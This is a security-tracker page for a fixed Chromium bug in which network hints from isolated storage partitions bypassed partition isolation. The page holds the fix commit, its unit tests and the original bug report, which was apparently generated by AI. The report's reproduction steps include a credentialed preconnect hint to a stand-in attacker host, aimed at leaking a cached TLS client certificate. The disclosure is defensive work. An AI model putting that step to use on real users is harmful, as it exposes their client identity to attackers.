Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactImproper resource exposure in Preload
DescriptionImproper resource exposure in Preload
ComponentPreload
Bug ClassLogic Error
Tracker503472696
Fix commit404123841316 (chromium/src) +200/-2
CISA KEVNot listed
CreditedGoogle
Disclosed2026-08-25

Changed Functions

FunctionChangeNotes
MockPreconnectManager
chrome/browser/predictors/network_hints_handler_impl_unittest.cc
modified
NetworkHintsHandlerImplTest
chrome/browser/predictors/network_hints_handler_impl_unittest.cc
modified

Files Changed

  • chrome/browser/predictors/BUILD.gn
  • chrome/browser/predictors/loading_predictor.h
  • chrome/browser/predictors/network_hints_handler_impl.cc
  • chrome/browser/predictors/network_hints_handler_impl_unittest.cc
From 40412384131694389168cb37ae246b385abcfbf9 Mon Sep 17 00:00:00 2001
From: Jiacheng Guo <gjc@google.com>
Date: Thu, 02 Jul 2026 00:01:05 -0700
Subject: [PATCH] [predictors] Route NetworkHintsHandler through frame partition

NetworkHintsHandlerImpl forwarded renderer-initiated preconnect and
DNS-prefetch hints to PreconnectManager with a null
storage_partition_config, so PreconnectManager fell back to the
profile's default StoragePartition NetworkContext regardless of which
StoragePartition the requesting frame lives in. Pass the frame's
StoragePartitionConfig instead, so hints from guest /
non-default-partition frames are issued against their own
NetworkContext.

Adds unit-test coverage for NetworkHintsHandlerImpl that asserts the
frame's StoragePartitionConfig is propagated for both default- and
non-default-partition frames.

Bug: 503472696
Change-Id: I21c113847486377f1ee259ddd3ec3aca80d42a63
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8023245
Commit-Queue: Jiacheng Guo <gjc@google.com>
Reviewed-by: Lingqi Chi <lingqi@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1655924}
---

diff --git a/chrome/browser/predictors/BUILD.gn b/chrome/browser/predictors/BUILD.gn
index bf570e9..f6377bb0 100644
--- a/chrome/browser/predictors/BUILD.gn
+++ b/chrome/browser/predictors/BUILD.gn
@@ -148,6 +148,7 @@
     "loading_predictor_tab_helper_unittest.cc",
     "loading_predictor_unittest.cc",
     "loading_stats_collector_unittest.cc",
+    "network_hints_handler_impl_unittest.cc",
     "perform_network_context_prefetch_unittest.cc",
     "prefetch_manager_unittest.cc",
     "resource_prefetch_predictor_tables_unittest.cc",
diff --git a/chrome/browser/predictors/loading_predictor.h b/chrome/browser/predictors/loading_predictor.h
index e1caf2c..6004b87 100644
--- a/chrome/browser/predictors/loading_predictor.h
+++ b/chrome/browser/predictors/loading_predictor.h
@@ -241,6 +241,7 @@
   friend class LoadingPredictorTabHelperTest;
   friend class LoadingPredictorTabHelperTestCollectorTest;
   friend class LCPPTimingPredictorTestBase;
+  friend class NetworkHintsHandlerImplTest;
   FRIEND_TEST_ALL_PREFIXES(LoadingPredictorTest,
                            TestMainFrameResponseCancelsHint);
   FRIEND_TEST_ALL_PREFIXES(LoadingPredictorTest,
diff --git a/chrome/browser/predictors/network_hints_handler_impl.cc b/chrome/browser/predictors/network_hints_handler_impl.cc
index 65ec2a7d..ab4cb30 100644
--- a/chrome/browser/predictors/network_hints_handler_impl.cc
+++ b/chrome/browser/predictors/network_hints_handler_impl.cc
@@ -14,6 +14,7 @@
 #include "content/public/browser/preconnect_manager.h"
 #include "content/public/browser/render_frame_host.h"
 #include "content/public/browser/render_process_host.h"
+#include "content/public/browser/storage_partition.h"
 #include "mojo/public/cpp/bindings/self_owned_receiver.h"
 #include "net/base/isolation_info.h"
 
@@ -61,9 +62,11 @@
   }
   base::UnguessableToken network_restrictions_id =
       render_frame_host->GetNetworkRestrictionsID();
+  const content::StoragePartitionConfig& storage_partition_config =
+      render_frame_host->GetStoragePartition()->GetConfig();
   preconnect_manager_->StartPreresolveHosts(
       gurls, GetPendingNetworkAnonymizationKey(render_frame_host),
-      kNetworkHintsTrafficAnnotation, /*storage_partition_config=*/nullptr,
+      kNetworkHintsTrafficAnnotation, &storage_partition_config,
       network_restrictions_id);
 }
 
@@ -86,10 +89,12 @@
 
   base::UnguessableToken network_restrictions_id =
       render_frame_host->GetNetworkRestrictionsID();
+  const content::StoragePartitionConfig& storage_partition_config =
+      render_frame_host->GetStoragePartition()->GetConfig();
   preconnect_manager_->StartPreconnectUrl(
       url.GetURL(), allow_credentials,
       GetPendingNetworkAnonymizationKey(render_frame_host),
-      kNetworkHintsTrafficAnnotation, /*storage_partition_config=*/nullptr,
+      kNetworkHintsTrafficAnnotation, &storage_partition_config,
       network_restrictions_id,
       /*keepalive_config=*/std::nullopt, mojo::NullRemote());
 }
diff --git a/chrome/browser/predictors/network_hints_handler_impl_unittest.cc b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc
new file mode 100644
index 0000000..31adc6b5
--- /dev/null
+++ b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc
@@ -0,0 +1,191 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/predictors/network_hints_handler_impl.h"
+
+#include <memory>
+#include <optional>
+#include <utility>
+#include <vector>
+
+#include "base/memory/raw_ptr.h"
+#include "base/memory/weak_ptr.h"
+#include "chrome/browser/predictors/loading_predictor.h"
+#include "chrome/browser/predictors/loading_predictor_factory.h"
+#include "chrome/test/base/chrome_render_view_host_test_harness.h"
+#include "components/network_hints/common/network_hints.mojom.h"
+#include "content/public/browser/preconnect_manager.h"
+#include "content/public/browser/render_frame_host.h"
+#include "content/public/browser/site_instance.h"
+#include "content/public/browser/storage_partition.h"
+#include "content/public/browser/storage_partition_config.h"
+#include "content/public/browser/web_contents.h"
+#include "content/public/test/web_contents_tester.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "url/gurl.h"
+#include "url/scheme_host_port.h"
+
+namespace predictors {
+
+using ::testing::_;
+using ::testing::Pointee;
+using ::testing::StrictMock;
+
+namespace {
+
+class MockPreconnectManager : public content::PreconnectManager {
+ public:
+  MockPreconnectManager() = default;
+  ~MockPreconnectManager() override = default;
+
+  MOCK_METHOD(void,
+              Start,
+              (const GURL&,
+               std::vector<content::PreconnectRequest>,
+               net::NetworkTrafficAnnotationTag),
+              (override));
+  MOCK_METHOD(void,
+              StartPreresolveHost,
+              (const GURL&,
+               const net::NetworkAnonymizationKey&,
+               net::NetworkTrafficAnnotationTag,
+               const content::StoragePartitionConfig*,
+               const base::UnguessableToken&),
+              (override));
+  MOCK_METHOD(void,
+              StartPreresolveHosts,
+              (const std::vector<GURL>&,
+               const net::NetworkAnonymizationKey&,
+               net::NetworkTrafficAnnotationTag,
+               const content::StoragePartitionConfig*,
+               const base::UnguessableToken&),
+              (override));
+  MOCK_METHOD(
+      void,
+      StartPreconnectUrl,
+      (const GURL&,
+       bool,
+       net::NetworkAnonymizationKey,
+       net::NetworkTrafficAnnotationTag,
+       const content::StoragePartitionConfig*,
+       const base::UnguessableToken&,
+       std::optional<net::ConnectionKeepAliveConfig>,
+       mojo::PendingRemote<network::mojom::ConnectionChangeObserverClient>),
+      (override));
+  MOCK_METHOD(void, Stop, (const GURL&), (override));
+  MOCK_METHOD(void,
+              SetNetworkContextForTesting,
+              (network::mojom::NetworkContext*),
+              (override));
+  MOCK_METHOD(void, SetObserverForTesting, (Observer*), (override));
+
+  base::WeakPtr<content::PreconnectManager> GetWeakPtr() override {
+    return weak_ptr_factory_.GetWeakPtr();
+  }
+
+ private:
+  base::WeakPtrFactory<content::PreconnectManager> weak_ptr_factory_{this};
+};
+
+}  // namespace
+
+class NetworkHintsHandlerImplTest : public ChromeRenderViewHostTestHarness {
+ public:
+  void SetUp() override {
+    ChromeRenderViewHostTestHarness::SetUp();
+    auto* loading_predictor = LoadingPredictorFactory::GetForProfile(profile());
+    ASSERT_TRUE(loading_predictor);
+    auto mock_preconnect_manager =
+        std::make_unique<StrictMock<MockPreconnectManager>>();
+    mock_preconnect_manager_ = mock_preconnect_manager.get();
+    loading_predictor->set_mock_preconnect_manager(
+        std::move(mock_preconnect_manager));
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/predictors/network_hints_handler_impl_unittest.cc b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc
new file mode 100644
index 0000000..31adc6b5
--- /dev/null
+++ b/chrome/browser/predictors/network_hints_handler_impl_unittest.cc
@@ -0,0 +1,191 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/predictors/network_hints_handler_impl.h"
+
+#include <memory>
+#include <optional>
+#include <utility>
+#include <vector>
+
+#include "base/memory/raw_ptr.h"
+#include "base/memory/weak_ptr.h"
+#include "chrome/browser/predictors/loading_predictor.h"
+#include "chrome/browser/predictors/loading_predictor_factory.h"
+#include "chrome/test/base/chrome_render_view_host_test_harness.h"
+#include "components/network_hints/common/network_hints.mojom.h"
+#include "content/public/browser/preconnect_manager.h"
+#include "content/public/browser/render_frame_host.h"
+#include "content/public/browser/site_instance.h"
+#include "content/public/browser/storage_partition.h"
+#include "content/public/browser/storage_partition_config.h"
+#include "content/public/browser/web_contents.h"
+#include "content/public/test/web_contents_tester.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "url/gurl.h"
+#include "url/scheme_host_port.h"
+
+namespace predictors {
+
+using ::testing::_;
+using ::testing::Pointee;
+using ::testing::StrictMock;
+
+namespace {
+
+class MockPreconnectManager : public content::PreconnectManager {
+ public:
+  MockPreconnectManager() = default;
+  ~MockPreconnectManager() override = default;
+
+  MOCK_METHOD(void,
+              Start,
+              (const GURL&,
+               std::vector<content::PreconnectRequest>,
+               net::NetworkTrafficAnnotationTag),
+              (override));
+  MOCK_METHOD(void,
+              StartPreresolveHost,
+              (const GURL&,
+               const net::NetworkAnonymizationKey&,
+               net::NetworkTrafficAnnotationTag,
+               const content::StoragePartitionConfig*,
+               const base::UnguessableToken&),
+              (override));
+  MOCK_METHOD(void,
+              StartPreresolveHosts,
+              (const std::vector<GURL>&,
+               const net::NetworkAnonymizationKey&,
+               net::NetworkTrafficAnnotationTag,
+               const content::StoragePartitionConfig*,
+               const base::UnguessableToken&),
+              (override));
+  MOCK_METHOD(
+      void,
+      StartPreconnectUrl,
+      (const GURL&,
+       bool,
+       net::NetworkAnonymizationKey,
+       net::NetworkTrafficAnnotationTag,
+       const content::StoragePartitionConfig*,
+       const base::UnguessableToken&,
+       std::optional<net::ConnectionKeepAliveConfig>,
+       mojo::PendingRemote<network::mojom::ConnectionChangeObserverClient>),
+      (override));
+  MOCK_METHOD(void, Stop, (const GURL&), (override));
+  MOCK_METHOD(void,
+              SetNetworkContextForTesting,
+              (network::mojom::NetworkContext*),
+              (override));
+  MOCK_METHOD(void, SetObserverForTesting, (Observer*), (override));
+
+  base::WeakPtr<content::PreconnectManager> GetWeakPtr() override {
+    return weak_ptr_factory_.GetWeakPtr();
+  }
+
+ private:
+  base::WeakPtrFactory<content::PreconnectManager> weak_ptr_factory_{this};
+};
+
+}  // namespace
+
+class NetworkHintsHandlerImplTest : public ChromeRenderViewHostTestHarness {
+ public:
+  void SetUp() override {
+    ChromeRenderViewHostTestHarness::SetUp();
+    auto* loading_predictor = LoadingPredictorFactory::GetForProfile(profile());
+    ASSERT_TRUE(loading_predictor);
+    auto mock_preconnect_manager =
+        std::make_unique<StrictMock<MockPreconnectManager>>();
+    mock_preconnect_manager_ = mock_preconnect_manager.get();
+    loading_predictor->set_mock_preconnect_manager(
+        std::move(mock_preconnect_manager));
+  }
+
+  void TearDown() override {
+    mock_preconnect_manager_ = nullptr;
+    ChromeRenderViewHostTestHarness::TearDown();
+  }
+
+  mojo::Remote<network_hints::mojom::NetworkHintsHandler> CreateHandlerForFrame(
+      content::RenderFrameHost* frame) {
+    mojo::Remote<network_hints::mojom::NetworkHintsHandler> remote;
+    NetworkHintsHandlerImpl::Create(frame, remote.BindNewPipeAndPassReceiver());
+    return remote;
+  }
+
+  std::unique_ptr<content::WebContents> CreateGuestWebContents(
+      const content::StoragePartitionConfig& config) {
+    scoped_refptr<content::SiteInstance> guest_instance =
+        content::SiteInstance::CreateForGuest(profile(), config);
+    std::unique_ptr<content::WebContents> guest_contents =
+        content::WebContentsTester::CreateTestWebContents(profile(),
+                                                          guest_instance);
+    content::WebContentsTester::For(guest_contents.get())
+        ->NavigateAndCommit(GURL("https://example.com/"));
+    return guest_contents;
+  }
+
+ protected:
+  raw_ptr<StrictMock<MockPreconnectManager>> mock_preconnect_manager_ = nullptr;
+};
+
+TEST_F(NetworkHintsHandlerImplTest, PreconnectUsesFrameStoragePartition) {
+  const content::StoragePartitionConfig kGuestConfig =
+      content::StoragePartitionConfig::Create(profile(), "test_domain",
+                                              "test_name", /*in_memory=*/true);
+  std::unique_ptr<content::WebContents> guest_contents =
+      CreateGuestWebContents(kGuestConfig);
+  content::RenderFrameHost* frame = guest_contents->GetPrimaryMainFrame();
+  ASSERT_EQ(kGuestConfig, frame->GetStoragePartition()->GetConfig());
+
+  auto handler = CreateHandlerForFrame(frame);
+
+  const url::SchemeHostPort kTarget(GURL("https://target.example/"));
+  EXPECT_CALL(*mock_preconnect_manager_,
+              StartPreconnectUrl(kTarget.GetURL(), true, _, _,
+                                 Pointee(kGuestConfig), _, _, _));
+  handler->Preconnect(kTarget, /*allow_credentials=*/true);
+  handler.FlushForTesting();
+}
+
+TEST_F(NetworkHintsHandlerImplTest, PrefetchDNSUsesFrameStoragePartition) {
+  const content::StoragePartitionConfig kGuestConfig =
+      content::StoragePartitionConfig::Create(profile(), "test_domain",
+                                              "test_name", /*in_memory=*/true);
+  std::unique_ptr<content::WebContents> guest_contents =
+      CreateGuestWebContents(kGuestConfig);
+  content::RenderFrameHost* frame = guest_contents->GetPrimaryMainFrame();
+  ASSERT_EQ(kGuestConfig, frame->GetStoragePartition()->GetConfig());
+
+  auto handler = CreateHandlerForFrame(frame);
+
+  const url::SchemeHostPort kTarget(GURL("https://target.example/"));
+  EXPECT_CALL(*mock_preconnect_manager_,
+              StartPreresolveHosts(std::vector<GURL>{kTarget.GetURL()}, _, _,
+                                   Pointee(kGuestConfig), _));
+  handler->PrefetchDNS({kTarget});
+  handler.FlushForTesting();
+}
+
+TEST_F(NetworkHintsHandlerImplTest,
+       PreconnectUsesDefaultStoragePartitionForDefaultFrame) {
+  content::RenderFrameHost* frame = web_contents()->GetPrimaryMainFrame();
+  const content::StoragePartitionConfig& expected_config =
+      frame->GetStoragePartition()->GetConfig();
+  ASSERT_TRUE(expected_config.is_default());
+
+  auto handler = CreateHandlerForFrame(frame);
+
+  const url::SchemeHostPort kTarget(GURL("https://target.example/"));
+  EXPECT_CALL(*mock_preconnect_manager_,
+              StartPreconnectUrl(kTarget.GetURL(), false, _, _,
+                                 Pointee(expected_config), _, _, _));
+  handler->Preconnect(kTarget, /*allow_credentials=*/false);
+  handler.FlushForTesting();
+}
+
+}  // namespace predictors
Loading diff…

Original Bug Report

reported by vm...@google.com

StoragePartition isolation bypass in NetworkHintsHandler

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see go/chrome-ai-generated-security-bugs-faq for more information.

Overview: NetworkHintsHandlerImpl hardcodes a null StoragePartitionConfig when routing preconnect and DNS prefetch hints to the PreconnectManager. This causes requests originating from isolated contexts (like Isolated Web Apps or <webview> tags) to incorrectly execute using the default profile’s NetworkContext, potentially leaking cached TLS client certificates and exposing main profile proxy/DNS configurations to the isolated partition.

Affected files:

  • chrome/browser/predictors/network_hints_handler_impl.cc
  • content/browser/preloading/preconnect/preconnect_manager_impl.cc
  • chrome/browser/chrome_browser_interface_binders.cc
  • chrome/browser/chrome_content_browser_client_receiver_bindings.cc

Estimated timestamp from git blame: 2026-01-22

Summary

NetworkHintsHandlerImpl, which handles <link rel=preconnect> and <link rel=dns-prefetch> hints via Mojo, fails to respect the StoragePartition boundaries of the calling renderer. When passing the preconnect request to PreconnectManagerImpl, it unconditionally hardcodes the storage_partition_config argument to nullptr. This causes the preconnect logic to fall back to the BrowserContext’s default StoragePartition. Consequently, isolated contexts (such as Isolated Web Apps or custom <webview> partitions) perform network operations using the main browsing profile’s NetworkContext.

Technical Details

In chrome/browser/predictors/network_hints_handler_impl.cc, the Preconnect and PrefetchDNS methods receive requests from the renderer. When they pass these requests to the PreconnectManager, they explicitly pass a nullptr for the configuration:

// chrome/browser/predictors/network_hints_handler_impl.cc (line 92)
preconnect_manager_->StartPreconnectUrl(
    url.GetURL(), allow_credentials,
    GetPendingNetworkAnonymizationKey(render_frame_host),
    kNetworkHintsTrafficAnnotation, /*storage_partition_config=*/nullptr,
    // ...

The Mojo interface network_hints::mojom::NetworkHintsHandler is bound for every RenderFrameHost in chrome/browser/chrome_browser_interface_binders.cc without any StoragePartition filtering.

When PreconnectManagerImpl processes these jobs, it calls GetNetworkContext() to retrieve the appropriate network stack. Because the config is null, it defaults to the main profile:

// content/browser/preloading/preconnect/preconnect_manager_impl.cc (line 463-469)
auto* network_context =
    browser_context_
        ->GetStoragePartition(
            storage_partition_config
                ? *storage_partition_config
                : content::StoragePartitionConfig::CreateDefault(
                      browser_context_))
        ->GetNetworkContext();

Security Impact

This is a potential bypass of StoragePartition isolation. While the renderer does not receive direct responses from these fire-and-forget hints, the bypass allows an isolated context to pollute and read from the main profile’s state:

  1. Client Certificate Leakage: If an isolated context issues a preconnect hint with crossorigin="use-credentials", allow_credentials is set to true. The resulting preconnect uses the default NetworkContext, which will query its SSLClientAuthCache. If the user has a cached TLS client certificate for the target origin in their main profile, it will be automatically presented to the attacker’s server during the preconnect handshake, leaking the user’s identity to the isolated partition.
  2. Configuration Leakage/Pollution: Preconnects will follow the main profile’s proxy configuration and DNS settings (including DoH). They will also populate and utilize the main profile’s Host Cache.

Potential Reproduction Steps

Note: Our tooling agent does not run code; these are suggested steps to verify the issue.

  1. Create an Isolated Web App or a Chrome App with a <webview partition="persist:attacker"> to establish an isolated StoragePartition.
  2. Within the isolated context, inject a preconnect hint targeting an attacker-controlled HTTPS server: <link rel="preconnect" href="https://attacker.com" crossorigin="use-credentials">.
  3. Monitor the chrome://net-export logs. Observe that the preconnect request and proxy/DNS lookups originate from the default profile’s NetworkContext rather than the isolated partition’s context.
  4. If a TLS client certificate was previously authorized for attacker.com in the main profile, the attacker’s server will receive the certificate during the TLS handshake initiated by the isolated context.

Suggested Fix

In chrome/browser/predictors/network_hints_handler_impl.cc, the PrefetchDNS and Preconnect methods should retrieve the StoragePartitionConfig from the calling RenderFrameHost and pass it to the PreconnectManager, rather than passing nullptr. This can be done via render_frame_host->GetStoragePartition()->GetConfig().

Evaluated with Chrome root at commit: 661452647ddb2827305122ff3273bd5dea403f09


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker
Links in the report